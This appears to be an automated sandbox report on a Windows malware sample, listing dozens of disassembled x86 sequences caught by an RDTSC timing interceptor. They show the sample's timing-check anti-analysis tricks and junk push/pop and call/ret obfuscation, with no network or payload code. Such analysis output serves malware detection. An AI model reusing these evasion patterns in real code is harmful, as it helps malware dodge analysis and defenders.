Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D92C7E second address: D92CB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882088h 0x00000007 jmp 00007FC73488207Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007FC734882076h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D92CB8 second address: D92CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D92CBC second address: D92CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007FC734882080h 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D9680C second address: D96811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D96811 second address: D96816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D968B2 second address: D968B7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D968B7 second address: D968E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jno 00007FC734882082h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007FC734882078h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D96F30 second address: D96F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D974AD second address: D974C2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC73488207Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D974C2 second address: D974D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 xchg eax, ebx 0x00000007 sbb si, 4817h 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D974D5 second address: D974D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D974D9 second address: D974E3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC734E5F776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D979AD second address: D979B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D97B35 second address: D97B5F instructions: 0x00000000 rdtsc 0x00000002 je 00007FC734E5F778h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FC734E5F788h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D98A2C second address: D98A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D98A32 second address: D98A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b and esi, 7130E349h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FC734E5F778h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d sub edi, dword ptr [ebp+122D3A8Ah] 0x00000033 push 00000000h 0x00000035 mov esi, edi 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 pushad 0x0000003a jmp 00007FC734E5F782h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D98A88 second address: D98A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D99AE8 second address: D99AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D99AED second address: D99B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC734882076h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 jl 00007FC734882078h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f stc 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FC734882078h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c jmp 00007FC734882082h 0x00000041 push 00000000h 0x00000043 mov dword ptr [ebp+122D3347h], edx 0x00000049 xchg eax, ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D99B52 second address: D99B58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D99B58 second address: D99B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC73488207Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D99B80 second address: D99B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D9A34F second address: D9A353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D9B067 second address: D9B06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D52D8F second address: D52DA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA08DC second address: DA08F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA08F6 second address: DA08FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA181C second address: DA1820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D9D6AE second address: D9D6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA1820 second address: DA182D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA2766 second address: DA27CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FC734882078h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push esi 0x00000011 je 00007FC734882076h 0x00000017 pop esi 0x00000018 pop eax 0x00000019 nop 0x0000001a xor ebx, 652B1A5Ah 0x00000020 push 00000000h 0x00000022 sub dword ptr [ebp+1244A874h], esi 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007FC734882078h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D2CB1h], edx 0x0000004a mov edi, dword ptr [ebp+122D1C75h] 0x00000050 push eax 0x00000051 push esi 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FC734882081h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA27CD second address: DA27D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA3736 second address: DA373C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA373C second address: DA3740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA5711 second address: DA5715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA4A80 second address: DA4A85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA57B9 second address: DA57C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FC734882076h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA777B second address: DA7793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F784h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA78CB second address: DA78CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA78CF second address: DA78D9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC734E5F776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA8744 second address: DA8753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC734882076h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA78D9 second address: DA78E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC734E5F776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA8753 second address: DA8757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DA78E3 second address: DA78E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DAA65D second address: DAA663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DAA663 second address: DAA701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 ja 00007FC734E5F77Ch 0x0000000d nop 0x0000000e jnc 00007FC734E5F77Bh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FC734E5F778h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov dword ptr [ebp+1244C80Fh], esi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007FC734E5F778h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 jmp 00007FC734E5F786h 0x00000057 jns 00007FC734E5F77Ch 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f jnl 00007FC734E5F77Ch 0x00000065 push edi 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DAB612 second address: DAB616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DAB616 second address: DAB69E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 clc 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FC734E5F778h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 sub di, EAEAh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FC734E5F778h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 jmp 00007FC734E5F77Eh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jmp 00007FC734E5F780h 0x00000053 jmp 00007FC734E5F77Dh 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DAA86D second address: DAA871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DB07D9 second address: DB0839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F77Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e jne 00007FC734E5F776h 0x00000014 pop ecx 0x00000015 push esi 0x00000016 jmp 00007FC734E5F780h 0x0000001b pop esi 0x0000001c popad 0x0000001d nop 0x0000001e js 00007FC734E5F780h 0x00000024 jmp 00007FC734E5F77Ah 0x00000029 push 00000000h 0x0000002b sub bl, 00000060h 0x0000002e push 00000000h 0x00000030 sub bh, 00000014h 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FC734E5F782h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DB0839 second address: DB0856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734882089h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DB0856 second address: DB085A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DAF977 second address: DAF97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DB7EB1 second address: DB7EC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FC734E5F776h 0x0000000e jp 00007FC734E5F776h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DB8156 second address: DB815A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DB815A second address: DB8160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC2C9 second address: DBC2D3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC734882076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC2D3 second address: DBC30E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007FC734E5F776h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007FC734E5F795h 0x00000013 jnc 00007FC734E5F78Fh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC30E second address: DBC314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC314 second address: DBC319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC319 second address: DBC365 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC734882085h 0x00000008 jmp 00007FC73488207Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push esi 0x00000013 jmp 00007FC73488207Eh 0x00000018 pop esi 0x00000019 jmp 00007FC73488207Ah 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FC73488207Fh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC45F second address: DBC486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC734E5F785h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBC486 second address: DBC48C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBF7E8 second address: DBF7EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DBF7EC second address: DBF7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jo 00007FC734882076h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D5970C second address: D59717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FC734E5F776h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D59717 second address: D5971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D5B19C second address: D5B1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F77Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D5B1AE second address: D5B1C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D5B1C6 second address: D5B1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC34AC second address: DC34C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jnl 00007FC734882076h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3A96 second address: DC3AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F789h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3AB4 second address: DC3AC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 jne 00007FC73488207Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3BF6 second address: DC3BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3BFC second address: DC3C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
